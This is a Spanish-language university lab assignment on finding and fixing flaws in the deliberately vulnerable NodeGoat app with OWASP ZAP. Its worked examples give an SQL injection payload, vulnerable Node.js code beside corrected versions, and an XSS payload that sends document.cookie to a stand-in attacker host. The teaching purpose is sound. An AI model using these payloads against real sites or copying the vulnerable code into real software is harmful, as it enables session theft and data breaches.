
**Universidad de las Fuerzas Armadas ESPE**

**Departamento de Ciencias de la Computación**

**Carrera de Ingeniería en Software**

**Desarrollo de Software Seguro**

# Laboratorio 2

Docente: Geovanny Cudco

21 de octubre de 2025

## 1. Tema

Análisis de Seguridad en NodeGoat con OWASP ZAP

## 2. Contexto

NodeGoat es una aplicación web educativa desarrollada en Node.js que contiene vulnerabilidades de seguridad deliberadas, diseñada específicamente para practicar técnicas de identificación y remediación de fallos de seguridad. En esta actividad, actuarás como analista de seguridad encargado de evaluar esta aplicación utilizando herramientas profesionales de testing de seguridad.

## 3. Objetivo

Identificar, analizar y documentar vulnerabilidades de seguridad en una aplicación web vulnerable (NodeGoat) utilizando OWASP ZAP, clasificándolas mediante estándares internacionales (CWE/CVSS) y proponiendo medidas de remediación técnicas.

## 4. Descripción del Problema

NodeGoat es una aplicación web deliberadamente vulnerable desarrollada en Node.js que simula una aplicación de gestión financiera. Los estudiantes deberán:

- Detectar vulnerabilidades mediante pruebas manuales con ZAP

- Documentar técnicamente cada hallazgo
- Calcular el impacto real mediante CVSS
- Proponer soluciones específicas

## 4.1. Pasos a seguir

### 4.1.1. Configuración del Entorno

1. Descargar e instalar NodeGoat desde el repositorio oficial OWASP
2. Configurar OWASP ZAP como proxy local (puerto 8080)
3. Configurar el navegador para usar ZAP como proxy
4. Verificar la conectividad con NodeGoat en http://localhost:4000

### 4.1.2. Análisis con ZAP

1. Ejecutar Spider sobre NodeGoat para mapeo de aplicación
2. Realizar escaneo activo configurado en nivel Medium
3. Realizar pruebas manuales de:
    - Autenticación y gestión de sesiones
    - Campos de entrada en formularios
    - Parámetros URL y headers HTTP
    - Consumo de APIs REST
4. Identificar mínimo 10 vulnerabilidades distintas

### 4.1.3. Documentación Técnica

Para cada vulnerabilidad identificada:

1. **Descripción Técnica:** Explicar el vector de ataque, condiciones de explotación y impacto potencial
2. **Clasificación CWE:** Identificar el CWE específico y descripción oficial
3. **CVSS v3.1:** Calcular score completo con vector detallado
4. **Evidencias:** Capturas de pantalla de requests/responses en ZAP
5. **Remediación:** Código específico o configuración para mitigar

### 4.1.4. Análisis de Impacto

1. Priorizar vulneraciones según score CVSS
2. Elaborar matriz riesgo/impacto
3. Proponer plan de remediación ordenado por criticidad

# 5. Criterios de Evaluación

La presente actividad será evaluada sobre un total de 20 puntos, distribuidos según los siguientes criterios:

Tabla 1: Criterios de Evaluación - UD: Análisis de Vulnerabilidades

| Categoría Principal | Subcriterios Específicos | Puntos | Obtenido |
|---|---|---|---|
| **Configuración y Ejecuc** | Configuración correcta de NodeGoat y entorno de pruebas | 1.0 | |
| | Configuración adecuada de OWASP ZAP como proxy y evidencia de funcionamiento | 1.0 | |
| | Ejecución completa de Spider y escaneo activo | 1.0 | |
| | Evidencias de pruebas manuales adicionales al escaneo automático | 1.0 | |
| **Análisis Técnico (10 pt** | Identificación de al menos 6 vulnerabilidades distintas y relevantes (2 cada integrante del grupo) | 3.0 | |
| | Correcta clasificación CWE con descripción precisa para cada hallazgo | 2.0 | |
| | Cálculo preciso de CVSS v3.1 con vector detallado y justificado | 2.0 | |
| | Profundidad del análisis técnico (mecanismo de explotación, impacto) | 1.5 | |
| | Calidad y claridad de las evidencias (capturas, logs, requests/responses) | 1.5 | |
| **Propuesta de Remedia** | Viabilidad técnica y aplicabilidad de las soluciones propuestas | 2.0 | |
| | Priorización adecuada basada en criticidad CVSS y impacto negocio | 1.0 | |
| | Completitud de las medidas (código, configuración, buenas prácticas) | 1.0 | |
| **Presentación y Estruct** | Claridad en redacción, ortografía y estructura del documento | 1.0 | |
| | Formato profesional, organizado y seguimiento de instrucciones | 1.0 | |
| | **Total** | **20.0** | |

# 6. Anexos

## 6.1. Ejemplo 1: Inyección SQL en Búsqueda de Usuarios

### Descripción Técnica

- **Vector de ataque:** Entrada maliciosa en parámetro search del endpoint /users/-search
- **Condiciones de explotación:** Campo de búsqueda sin validación que concatena directamente en consulta SQL
- **Impacto potencial:** Exfiltración de base de datos completa, escalada de privilegios, modificación de datos

```
-- Payload utilizado: ' OR '1'='1' --
SELECT * FROM users WHERE username LIKE '%' OR '1'='1'--%'
```

### Clasificación CWE

- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
- Descripción oficial: La aplicación no neutraliza adecuadamente elementos especiales que podrían modificar la consulta SQL destinada

### CVSS v3.1

- **Vector:** AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- **Score Base:** 9.3 (Crítico)
- **Desglose:**
  - **Attack Vector:** Network (N)
  - **Attack Complexity:** Low (L)
  - **Privileges Required:** None (N)
  - **User Interaction:** None (N)
  - **Scope:** Changed (C)
  - **Confidentiality:** High (H)
  - **Integrity:** High (H)
  - **Availability:** High (H)

### Evidencias

Fragmento de código vulnerable:

```
POST /users/search HTTP/1.1
Host: localhost:4000
Content-Type: application/x-www-form-urlencoded

search=' OR '1'='1'--

HTTP/1.1 200 OK
Content-Type: application/json

[
  {"id":1,"username":"admin","email":"admin@nodegoat.net","role":"admin"},
  {"id":2,"username":"user1","email":"user1@nodegoat.net","role":"user"},
  {"id":3,"username":"user2","email":"user2@nodegoat.net","role":"user"}
]
```

**Remediación**

```
// CÓDIGO VULNERABLE ORIGINAL
app.post('/users/search', (req, res) => {
    const searchTerm = req.body.search;
    const query = `SELECT * FROM users WHERE username LIKE '%${searchTerm}%'`;

    db.query(query, (err, results) => {
        if (err) throw err;
        res.json(results);
    });
});

// CÓDIGO CORREGIDO
app.post('/users/search', (req, res) => {
    const searchTerm = req.body.search;

    // Validación de entrada
    if (!/^[a-zA-Z0-9\s]{1,50}$/.test(searchTerm)) {
        return res.status(400).json({ error: 'Término de búsqueda inválido' });
    }

    // Consulta parametrizada
    const query = 'SELECT id, username, email FROM users WHERE username LIKE ?';
    const params = [`%${searchTerm}%`];

    db.query(query, params, (err, results) => {
        if (err) {
            console.error('Error en consulta:', err);
            return res.status(500).json({ error: 'Error interno del servidor' });
        }
        res.json(results);
    });
```

```
});
```

**Medidas adicionales:**

- Implementar WAF (Web Application Firewall)
- Usar ORM con parametrización automática
- Logging de intentos de inyección SQL

## 6.2. Ejemplo 2: Cross-Site Scripting (XSS) Reflejado en Panel de Comentarios

**Descripción Técnica**

- **Vector de ataque:** Script malicioso inyectado en campo comment que se ejecuta al visualizar comentarios
- **Condiciones de explotación:** Renderizado sin sanitización de contenido HTML en comentarios
- **Impacto potencial:** Robo de sesiones, redirección a sitios maliciosos, keylogging

```
Payload:
<script>fetch('http://atacker.com/steal?cookie='+document.cookie)</script>
```

**Clasificación CWE**

- CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- Descripción oficial: La aplicación no neutraliza o neutraliza incorrectamente la entrada controlable por el usuario antes de colocarla en la salida

**CVSS v3.1**

- **Vector:** AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
- **Score Base:** 7.4 (Alto)
- **Desglose:**
  - **Attack Vector:** Network (N)
  - **Attack Complexity:** Low (L)
  - **Privileges Required:** None (N)
  - **User Interaction:** Required (R)
  - **Scope:** Changed (C)
  - **Confidentiality:** High (H)
  - **Integrity:** Low (L)
  - **Availability:** None (N)

### Evidencias

Fragmento de código vulnerable:

```
POST /comments/add HTTP/1.1
Host: localhost:4000
Content-Type: application/x-www-form-urlencoded

comment=<script>alert('XSS')</script>

HTTP/1.1 200 OK
Content-Type: text/html

<div class="comment">
    <script>alert('XSS')</script>
</div>
```

### Remediación

```
// CÓDIGO VULNERABLE ORIGINAL
app.post('/comments/add', (req, res) => {
    const comment = req.body.comment;

    // INSERCIÓN DIRECTA SIN SANITIZACIÓN
    const query = 'INSERT INTO comments (content) VALUES (?)';
    db.query(query, [comment], (err) => {
        if (err) throw err;
        res.redirect('/comments');
    });
});

app.get('/comments', (req, res) => {
    // RENDERIZADO DIRECTO SIN ESCAPE
    const query = 'SELECT content FROM comments';
    db.query(query, (err, results) => {
        if (err) throw err;
        res.send(`
            <div class="comments">
                ${results.map(c => `<div>${c.content}</div>`).join('')}
            </div>
        `);
    });
});

// CÓDIGO CORREGIDO
const xss = require('xss');

app.post('/comments/add', (req, res) => {
    let comment = req.body.comment;
```

```
    // Validación y sanitización
    if (!comment || comment.trim().length === 0) {
        return res.status(400).json({ error: 'Comentario vacío' });
    }

    if (comment.length > 1000) {
        return res.status(400).json({ error: 'Comentario demasiado largo' });
    }

    // Sanitización XSS
    comment = xss(comment, {
        whiteList: {}, // No permitir etiquetas HTML
        stripIgnoreTag: true, // Eliminar etiquetas no permitidas
        stripIgnoreTagBody: ['script'] // Eliminar contenido de scripts
    });

    const query = 'INSERT INTO comments (content) VALUES (?)';
    db.query(query, [comment], (err) => {
        if (err) {
            console.error('Error BD:', err);
            return res.status(500).json({ error: 'Error interno' });
        }
        res.redirect('/comments');
    });
});

app.get('/comments', (req, res) => {
    const query = 'SELECT content FROM comments';
    db.query(query, (err, results) => {
        if (err) {
            console.error('Error BD:', err);
            return res.status(500).send('Error interno');
        }

        // Escape adicional en renderizado
        const safeComments = results.map(c =>
            `<div>${c.content.replace(/</g, '&lt;').replace(/>/g, '&gt;')}</div>`
        ).join('');

        res.send(`
            <!DOCTYPE html>
            <html>
            <head>
                <title>Comentarios</title>
                <meta http-equiv="Content-Security-Policy" content="default-src 'self
            </head>
            <body>
```

```
                <div class="comments">${safeComments}</div>
            </body>
            </html>
        `);
    });
});
```

**Medidas adicionales:**

- Implementar Content Security Policy (CSP)
- Headers HTTP security: X-XSS-Protection, X-Content-Type-Options
- Validación del lado del cliente y servidor
- Encoding contextual (HTML, JavaScript, URL)